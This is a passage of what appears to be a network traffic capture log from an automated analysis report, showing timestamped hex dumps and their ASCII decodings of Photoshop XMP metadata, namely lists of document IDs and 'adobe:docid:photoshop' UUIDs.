3e 20 3c 72 64 66 3a 6c 69 3e 36 38 38 31 44 30 45 41 44 31 42 36 37 38 38 38 36 36 38 46 42 43 36 32 34 31 42 38 45 
34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 39 32 34 33 30 41 45 38 36 41 43 46 37 46 41 32 4
6 42 42 46 39 33 41 30 32 37 43 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 38 41 34 45 44 41 36 
42 33 39 46 44 32 42 38 43 44 37 39 33 46 30 36 30 31 33 38 35 45 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 36 38 41 36 41 37 32 44 30 41 36 34 35 37 33 41 46 43 36 31 
Data Ascii: 78A7EC149C5CC28FA</rdf:li> <rdf:li>68753835DB9F97477B6E0A3C3949D905</rdf:li> <rdf:li>688
1D0EAD1B67888668FBC6241B8E479</rdf:li> <rdf:li>6892430AE86ACF7FA2FBBF93A027CE8E</rdf:li> <rdf:li>68A
4EDA6B39FD2B8CD793F0601385E4F</rdf:li> <rdf:li>68A6A72D0A64573AFC61

2022-05-13 14:42:07 UTC 5304 IN Data Raw: 3e 37 36 36 46 46 34 41 43 44 46 41 39 32 41 38 46 45 43 30 30 32 46 38 42 41 38 46 34 32 46 31 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 37 30 38 30 36 34 44 41 45 37 45 31 34 43 36 35 31 44 42 35 44 
44 37 41 41 42 41 39 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 37 35 36 35 35 45 35 34 33 31 4
4 37 34 30 34 30 31 33 30 36 32 44 42 46 32 31 43 46 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 
37 37 38 43 39 46 31 39 39 36 38 35 32 42 32 41 44 34 34 43 37 42 33 39 46 38 36 44 46 31 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 37 36 37 43 30 39 44 46 45 38 36 46 46 30 39 46 33 34 46 41 46 37 45 32 34 32 35 46 43 46 
36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 38 41 
Data Ascii: >766FF4ACDFA92A8FEC002F8BA8F42F12</rdf:li> <rdf:li>76708064DAE7E14C651DB5DD7AABA9E9</rdf
:li> <rdf:li>7675655E5431D7404013062DBF21CF77</rdf:li> <rdf:li>76778C9F1996852B2AD44C7B39F86DF1</rdf:li> 
<rdf:li>767C09DFE86FF09F34FAF7E2425FCF66</rdf:li> <rdf:li>768A
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2022-05-13 14:42:07 UTC 5320 IN Data Raw: 44 38 39 46 31 43 39 43 34 32 39 33 31 35 45 30 41 46 30 41 39 30 38 35 46 31 37 35 44 39 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 39 33 34 43 45 31 36 32 46 35 30 38 31 31 35 38 46 43 46 30 43 42 31 33 
41 34 37 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 41 39 41 31 41 30 41 42 41 34 38 30 33 
38 31 38 37 38 42 31 33 31 32 33 37 42 35 38 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 42 35 3
4 43 32 37 34 37 46 46 42 33 33 46 39 33 30 33 32 38 41 30 32 44 45 32 30 31 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 44 42 39 34 46 38 43 36 37 31 46 43 37 38 30 42 42 42 41 45 38 41 45 45 45 33 36 35 34 45 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 44 43 30 38 41 
Data Ascii: D89F1C9C429315E0AF0A9085F175D9E</rdf:li> <rdf:li>7D934CE162F5081158FCF0CB13A47D74</rdf:li> 
<rdf:li>7DA9A1A0ABA480381878B131237B5835</rdf:li> <rdf:li>7DB54C2747FFB33F930328A02DE201D1</rdf:li> <rdf:li
>7DB94F8C671FC780BBBAE8AEEE3654E5</rdf:li> <rdf:li>7DC08A

2022-05-13 14:42:07 UTC 5352 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 39 46 33 32 36 32 34 39 43 44 31 43 33 41 33 39 36 43 
43 42 31 36 38 45 33 44 30 38 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 42 33 45 30 41 36 42 
35 38 32 42 30 36 43 45 46 36 35 44 38 43 39 33 38 42 45 35 44 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 38 39 42 42 32 34 43 35 42 30 30 43 32 38 43 32 30 46 34 34 34 39 30 46 39 44 30 30 39 30 32 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 43 32 30 35 30 37 42 45 37 45 33 37 31 33 33 38 45 41 41 42 36 42 35 41 
39 43 35 43 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 39 44 31 33 32 35 43 35 45 30 34 33 43 33 
41 45 32 37 30 32 33 42 36 39 39 39 38 36 33 33 30 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>899F326249CD1C3A396CCB168E3D082F</rdf:li> <rdf:li>89B3E0A6B582B06CEF65D8C
938BE5DAF</rdf:li> <rdf:li>89BB24C5B00C28C20F44490F9D00902D</rdf:li> <rdf:li>89C20507BE7E371338EAAB6
B5A9C5CB8</rdf:li> <rdf:li>89D1325C5E043C3AE27023B699986330</rdf:li

2022-05-13 14:42:07 UTC 5416 IN Data Raw: 37 35 38 33 33 46 45 30 34 41 44 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 35 41 39 
45 42 35 31 41 46 42 45 31 35 38 46 41 37 37 34 32 46 44 35 42 45 32 41 38 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 38 36 33 34 30 45 42 37 36 33 39 31 31 39 39 31 37 32 37 34 35 35 31 36 30 42 31 32 32 30 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 37 33 33 39 31 32 44 46 30 35 45 38 32 46 43 39 44 46 46 32 
34 37 34 33 39 36 35 39 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 39 44 33 42 39 33 39 35 34 
42 44 46 44 33 35 36 30 35 35 44 45 44 36 44 34 43 31 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
39 38 41 32 30 44 34 34 35 33 42 32 34 36 43 32 44 46 39 45 33 34 30 33 
Data Ascii: 75833FE04ADC7</rdf:li> <rdf:li>985A9EB51AFBE158FA7742FD5BE2A8D4</rdf:li> <rdf:li>986340E
B763911991727455160B12201</rdf:li> <rdf:li>98733912DF05E82FC9DFF247439659F8</rdf:li> <rdf:li>989D3B9
3954BDFD356055DED6D4C1D80</rdf:li> <rdf:li>98A20D4453B246C2DF9E3403

2022-05-13 14:42:07 UTC 5431 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 39 45 39 30 33 46 38 42 39 39 34 45 35 32 33 42 34 42 45 32 32 32 36 36 34 43 38 
37 38 34 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 39 34 37 45 36 32 39 42 30 39 35 39 33 46 
37 37 38 46 44 41 31 35 33 38 44 39 30 42 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 39 45 39 4
3 31 31 32 33 43 36 41 46 42 44 44 37 45 39 41 32 35 39 30 45 36 30 32 36 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 45 39 46 43 39 35 42 45 31 30 32 31 46 39 30 36 36 46 33 33 34 43 45 34 41 34 32 32 33 30 32 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 41 38 46 46 43 44 44 30 34 34 31 41 36 43 36 31 38 46 43 46 
38 38 43 38 37 35 43 36 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>9E903F8B994E523B4BE222664C87845E</rdf:li> <rdf:li>9E947E629B09593F778FDA1538D90B
B2</rdf:li> <rdf:li>9E9E9C1123C6AFBDD7E9A2590E602687</rdf:li> <rdf:li>9E9FC95BE1021F9066F334CE4A4223
02</rdf:li> <rdf:li>9EA8FFCDD0441A6C618FCF88C875C640</rdf:li> <rdf:

2022-05-13 14:42:07 UTC 5463 IN Data Raw: 42 33 35 38 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 39 30 44 43 41 43 39 39 43 38 
33 37 38 32 44 38 41 33 32 31 43 39 30 33 45 30 31 30 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 
43 39 32 33 34 32 44 42 39 43 46 34 33 39 37 43 38 36 43 42 42 32 45 45 36 43 39 33 33 32 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 41 43 39 36 46 46 43 34 37 32 39 43 35 35 30 38 30 44 41 34 38 33 36 36 39 34 30 38 39 
35 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 39 42 39 43 46 31 36 43 37 32 34 34 45 46 43 42 
32 30 37 44 45 34 42 38 33 30 37 34 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 41 43 35 34 43 
33 45 33 42 46 34 33 43 33 31 33 42 45 45 41 46 39 33 45 35 42 32 30 41 
Data Ascii: B35851</rdf:li> <rdf:li>AC90DCAC99C83782D8A321C903E010AD</rdf:li> <rdf:li>AC92342DB9CF43
97C86CBB2EE6C93324</rdf:li> <rdf:li>AC96FFC4729C55080DA483669408952C</rdf:li> <rdf:li>AC9B9CF16C7244
EFCB207DE4B830742B</rdf:li> <rdf:li>ACAC54C3E3BF43C313BEEAF93E5B20A

2022-05-13 14:42:07 UTC 5503 IN Data Raw: 39 44 42 43 35 37 32 32 31 43 39 32 39 30 45 34 45 42 36 43 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 42 39 43 34 31 32 32 41 43 39 39 45 36 38 41 30 38 33 30 38 45 44 33 39 44 45 33 38 41 45 34 33 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 44 43 34 41 46 31 39 31 34 32 46 46 38 31 31 39 31 36 39 44 39 30 
43 37 36 37 44 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 45 34 32 36 31 46 38 30 41 39 30 3
0 43 36 34 42 43 39 41 37 35 33 39 31 44 43 38 46 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 46 
44 42 35 44 34 34 33 39 32 33 30 41 37 33 45 35 33 39 34 38 31 39 46 42 37 31 46 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 42 41 30 37 38 36 34 39 32 41 39 42 43 44 44 
Data Ascii: 9DBC57221C9290E4EB6CC1</rdf:li> <rdf:li>B9C4122AC99E68A08308ED39DE38AE43</rdf:li> <rdf:l
i>B9DC4AF19142FF8119169D90C767DFBC</rdf:li> <rdf:li>B9E4261F80A900C64BC9A75391DC8FEA</rdf:li> <rdf:l
i>B9FDB5D4439230A73E5394819FB71FED</rdf:li> <rdf:li>BA0786492A9BCDD

2022-05-13 14:42:07 UTC 5511 IN Data Raw: 36 39 37 43 30 46 41 46 46 34 30 41 39 42 30 44 45 41 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 30 37 33 35 38 34 37 43 32 42 31 37 44 39 32 34 30 30 39 38 38 46 30 31 39 32 41 31 44 31 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 39 41 46 45 31 34 36 34 30 31 36 46 33 31 37 31 33 42 35 38 38 33 44 44 
46 39 38 35 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 39 44 37 35 46 44 30 37 31 45 30 43 44 4
3 41 32 31 38 45 31 38 41 34 42 44 30 42 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 41 38 35 
34 36 41 38 30 37 44 41 43 41 43 43 35 46 36 44 36 45 41 34 42 38 42 46 34 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 43 30 41 41 35 33 38 35 31 37 37 35 43 42 46 31 46 
Data Ascii: 697C0FAFF40A9B0DEA99</rdf:li> <rdf:li>C0735847C2B17D92400988F0192A1D14</rdf:li> <rdf:li>
C09AFE1464016F31713B5883DDF98575</rdf:li> <rdf:li>C09D75FD071E0CDCA218E18A4BD0B5CF</rdf:li> <rdf:li>
C0A8546A807DACACC5F6D6EA4B8BF412</rdf:li> <rdf:li>C0AA53851775CBF1F

2022-05-13 14:42:07 UTC 5559 IN Data Raw: 3a 6c 69 3e 43 44 41 45 37 32 45 39 38 36 30 38 38 44 32 38 39 36 37 45 43 34 32 36 39 39 45 42 38 45 35 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 42 32 35 43 46 39 30 46 32 31 39 46 46 35 35 43 36 41 
43 38 38 37 45 35 45 31 43 46 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 42 35 30 34 41 36 41 3
3 46 43 31 45 39 34 36 39 37 36 30 45 33 30 45 46 43 35 39 32 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 43 44 42 42 32 30 30 36 39 45 36 34 41 43 42 35 35 37 44 35 39 41 46 41 31 39 35 34 39 37 38 44 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 42 42 41 46 32 30 42 37 41 35 44 43 32 39 34 37 45 36 36 39 32 45 35 35 46 
34 42 43 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 
Data Ascii: :li>CDAE72E986088D28967EC42699EB8E53</rdf:li> <rdf:li>CDB25CF90F219FF55C6AC887E5E1CF7A</
rdf:li> <rdf:li>CDB504A6A3FC1E9469760E30EFC592CB</rdf:li> <rdf:li>CDBB20069E64ACB557D59AFA1954978D</
rdf:li> <rdf:li>CDBBAF20B7A5DC2947E6692E55F4BC5E</rdf:li> <rdf:li>C
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2022-05-13 14:42:07 UTC 5575 IN Data Raw: 42 35 42 45 46 33 44 38 33 44 35 34 37 31 39 36 31 39 32 34 34 46 41 31 45 31 32 36 39 33 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 36 42 46 31 31 41 38 31 42 34 33 34 39 36 45 33 32 36 32 46 35 43 31 46 
44 44 38 35 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 37 32 36 30 32 30 41 37 30 36 30 32 42 
43 35 39 35 36 44 33 35 39 42 38 46 46 45 33 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 37 35 4
6 32 35 44 34 39 31 42 34 43 32 45 43 34 43 33 33 43 44 37 42 36 33 45 35 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 44 42 38 41 42 43 31 31 42 30 44 38 32 33 34 34 37 34 33 37 31 39 30 46 41 41 38 42 41 43 36 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 39 30 39 33 
Data Ascii: B5BEF3D83D54719619244FA1E12693D</rdf:li> <rdf:li>DB6BF11A81B43496E3262F5C1FDD8506</rdf:li> 
<rdf:li>DB726020A70602BC5956D359B8FFE306</rdf:li> <rdf:li>DB75F25D491B4C2EC4C33CD7B63E51A8</rdf:li> 
<rdf:li>DB8ABC11B0D823447437190FAA8BAC67</rdf:li> <rdf:li>DB9093

2022-05-13 14:42:07 UTC 5606 IN Data Raw: 32 44 45 43 46 34 37 39 31 45 35 37 31 31 33 33 42 46 38 38 37 39 30 38 41 46 46 39 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 31 37 36 41 33 43 41 30 33 37 31 31 34 36 34 42 37 31 43 30 42 37 39 34 33 44 
35 32 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 31 41 45 43 34 33 31 30 42 39 46 41 36 33 34 
32 37 30 42 30 44 45 31 37 35 46 42 30 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 31 45 33 34 3
2 33 37 31 30 36 45 38 44 36 43 44 33 43 45 45 39 30 38 42 37 37 32 46 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 45 32 32 39 37 30 39 39 34 37 39 39 45 36 46 38 45 37 42 35 38 43 31 44 41 37 46 39 46 30 36 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 33 41 44 33 32 34 
Data Ascii: 2DECF4791E571133BF887908AFF95</rdf:li> <rdf:li>E2176A3CA03711464B71C0B7943D5237</rdf:li> 
<rdf:li>E21AEC4310B9FA634270B0DE175FB092</rdf:li> <rdf:li>E21E34237106E8D6CD3CEE908B772F47</rdf:li> 
<rdf:li>E22970994799E6F8E7B58C1DA7F9F064</rdf:li> <rdf:li>E23AD324

2022-05-13 14:42:07 UTC 5646 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 33 46 32 42 39 42 35 46 41 46 36 38 36 32 35 44 39 39 46 45 
46 34 33 43 34 37 34 46 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 34 36 36 39 35 45 30 36 43 
45 38 34 42 36 35 34 43 34 33 39 35 39 38 36 37 39 39 39 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 4
5 45 35 30 46 30 45 36 38 44 37 42 30 35 41 39 30 39 31 42 45 32 42 37 32 44 46 30 32 36 35 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 45 45 35 34 36 41 31 32 32 30 34 46 43 44 45 45 33 38 42 34 36 46 36 36 33 45 38 45 34 
44 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 35 34 44 43 43 32 34 37 39 30 43 37 33 33 34 36 
43 38 38 30 43 32 34 34 34 44 37 37 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>EE3F2B9B5FAF68625D99FEF43C474F51</rdf:li> <rdf:li>EE46695E06CE84B654C439598
679995C</rdf:li> <rdf:li>EE50F0E68D7B05A9091BE2B72DF02651</rdf:li> <rdf:li>EE546A12204FCDEE38B46F663
E8E4D0C</rdf:li> <rdf:li>EE54DCC24790C73346C880C2444D774A</rdf:li> 

2022-05-13 14:42:07 UTC 5662 IN Data Raw: 31 41 30 33 46 34 45 45 45 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 42 35 33 45 42 
36 45 41 30 42 32 42 39 36 35 37 44 32 31 44 37 46 34 45 34 30 41 36 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 46 41 42 42 44 34 43 37 30 33 30 46 46 41 34 30 39 45 31 43 35 41 34 33 44 37 39 45 33 38 32 36 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 43 41 46 39 43 33 30 31 31 36 46 33 32 43 42 30 35 35 34 43 42 33 
45 34 32 43 35 31 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 44 35 38 34 38 43 44 31 33 33 37 
46 35 41 38 30 33 43 30 41 46 45 31 30 38 45 42 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 
45 39 37 37 39 30 39 38 39 39 32 35 45 45 35 41 37 32 38 35 31 30 38 35 
Data Ascii: 1A03F4EEE22</rdf:li> <rdf:li>FAB53EB6EA0B2B9657D21D7F4E40A67B</rdf:li> <rdf:li>FABBD4C70
30FFA409E1C5A43D79E3826</rdf:li> <rdf:li>FACAF9C30116F32CB0554CB3E42C51F9</rdf:li> <rdf:li>FAD5848CD
1337F5A803C0AFE108EBCD0</rdf:li> <rdf:li>FAE97790989925EE5A72851085

2022-05-13 14:42:07 UTC 5749 IN Data Raw: 62 39 38 63 34 34 2d 37 33 36 31 2d 31 31 65 35 2d 62 64 35 34 2d 38 64 38 63 35 65 30 33 61 35 31 62 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 35 
63 35 65 61 39 33 2d 62 30 32 63 2d 31 31 64 61 2d 39 65 34 32 2d 63 33 34 35 63 61 64 30 38 33 35 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 36 32 39 64 
66 36 64 2d 61 34 31 32 2d 31 31 64 61 2d 39 64 64 65 2d 63 38 61 30 30 63 37 36 39 33 65 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 36 39 32 31 62 66 62 
2d 36 39 66 39 2d 31 31 64 64 2d 62 65 62 30 2d 62 31 36 39 62 
Data Ascii: b98c44-7361-11e5-bd54-8d8c5e03a51b</rdf:li> <rdf:li>adobe:docid:photoshop:05c5ea93-b02c-11da-9e42-
c345cad08354</rdf:li> <rdf:li>adobe:docid:photoshop:0629df6d-a412-11da-9dde-c8a00c7693e5</rdf:li> <rdf:li>adob
e:docid:photoshop:06921bfb-69f9-11dd-beb0-b169b

2022-05-13 14:42:07 UTC 5805 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 61 
37 65 35 61 37 2d 64 65 36 31 2d 31 31 64 39 2d 62 34 65 66 2d 38 36 33 31 31 37 64 31 34 34 63 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 62 63 35 64 
33 31 2d 32 38 66 34 2d 31 31 65 38 2d 38 34 37 36 2d 62 63 32 30 62 35 30 62 38 37 64 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 39 30 39 33 38 66 32 2d 
31 35 61 36 2d 31 31 65 37 2d 38 63 33 63 2d 63 62 33 63 35 62 61 35 34 39 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
Data Ascii: i> <rdf:li>adobe:docid:photoshop:38a7e5a7-de61-11d9-b4ef-863117d144c0</rdf:li> <rdf:li>adobe:docid
:photoshop:38bc5d31-28f4-11e8-8476-bc20b50b87d5</rdf:li> <rdf:li>adobe:docid:photoshop:390938f2-15a6-11e7-8c3c-
cb3c5ba549b8</rdf:li> <rdf:li>adobe:docid:phot

2022-05-13 14:42:07 UTC 5837 IN Data Raw: 66 31 2d 31 31 37 39 2d 38 37 61 38 2d 61 65 35 35 66 30 34 31 35 31 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 38 30 34 34 37 37 35 2d 33 64 
33 35 2d 31 31 65 37 2d 61 66 62 66 2d 61 33 66 61 35 36 61 64 33 62 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 38 31 63 34 36 63 39 2d 63 66 65 31 2d 
31 31 37 38 2d 62 32 33 64 2d 63 31 65 63 36 30 31 64 36 63 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 38 34 65 64 39 33 38 2d 66 34 64 31 2d 31 31 65 
34 2d 61 65 65 63 2d 66 64 35 64 36 31 62 37 30 39 66 35 3c 2f 
Data Ascii: f1-1179-87a8-ae55f04151fe</rdf:li> <rdf:li>adobe:docid:photoshop:68044775-3d35-11e7-afbf-a3fa56ad3
beb</rdf:li> <rdf:li>adobe:docid:photoshop:681c46c9-cfe1-1178-b23d-c1ec601d6c87</rdf:li> <rdf:li>adobe:docid:p
hotoshop:684ed938-f4d1-11e4-aeec-fd5d61b709f5</

2022-05-13 14:42:07 UTC 5845 IN Data Raw: 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 62 37 31 34 38 33 39 2d 62 30 63 33 2d 31 31 64 38 2d 
62 62 61 38 2d 38 37 61 32 63 61 33 35 38 31 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 62 37 35 39 34 34 31 2d 32 61 34 31 2d 31 31 64 62 2d 38 62 35 
62 2d 61 37 33 38 39 30 33 63 65 61 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 62 39 66 65 30 62 32 2d 32 66 32 63 2d 62 34 34 62 2d 38 37 65 64 2d 64 
39 33 64 35 64 65 64 63 34 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 37 63 63 34 30 62 63 31 2d 61 
Data Ascii: :docid:photoshop:7b714839-b0c3-11d8-bba8-87a2ca358165</rdf:li> <rdf:li>adobe:docid:photoshop:7b759441-
2a41-11db-8b5b-a738903ceafd</rdf:li> <rdf:li>adobe:docid:photoshop:7b9fe0b2-2f2c-b44b-87ed-d93d5dedc47f</rdf:li> 
<rdf:li>adobe:docid:photoshop:7cc40bc1-a
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2022-05-13 14:42:07 UTC 5861 IN Data Raw: 30 37 61 32 37 63 37 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 66 37 32 38 33 39 66 2d 61 31 36 32 2d 36 38 34 34 2d 38 35 30 63 2d 66 66 
62 31 34 62 66 33 37 34 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 61 66 61 36 66 64 64 31 2d 39 32 65 38 2d 31 31 37 38 2d 62 64 30 37 2d 61 63 33 61 61 
34 30 38 33 34 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
74 6f 73 68 6f 70 3a 61 66 62 32 64 65 66 61 2d 64 36 66 65 2d 31 31 65 34 2d 38 34 37 38 2d 61 36 33 37 32 61 31 38 3
0 65 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: 07a27c7a9</rdf:li> <rdf:li>adobe:docid:photoshop:af72839f-a162-6844-850c-ffb14bf37409</rdf:li> <rd
f:li>adobe:docid:photoshop:afa6fdd1-92e8-1178-bd07-ac3aa4083456</rdf:li> <rdf:li>adobe:docid:photoshop:afb2defa-
d6fe-11e4-8478-a6372a180e87</rdf:li> <rdf:li>

2022-05-13 14:42:07 UTC 5877 IN Data Raw: 6f 74 6f 73 68 6f 70 3a 65 34 39 34 65 34 66 62 2d 61 36 37 35 2d 31 31 64 63 2d 39 32 65 64 2d 38 39 32 35 
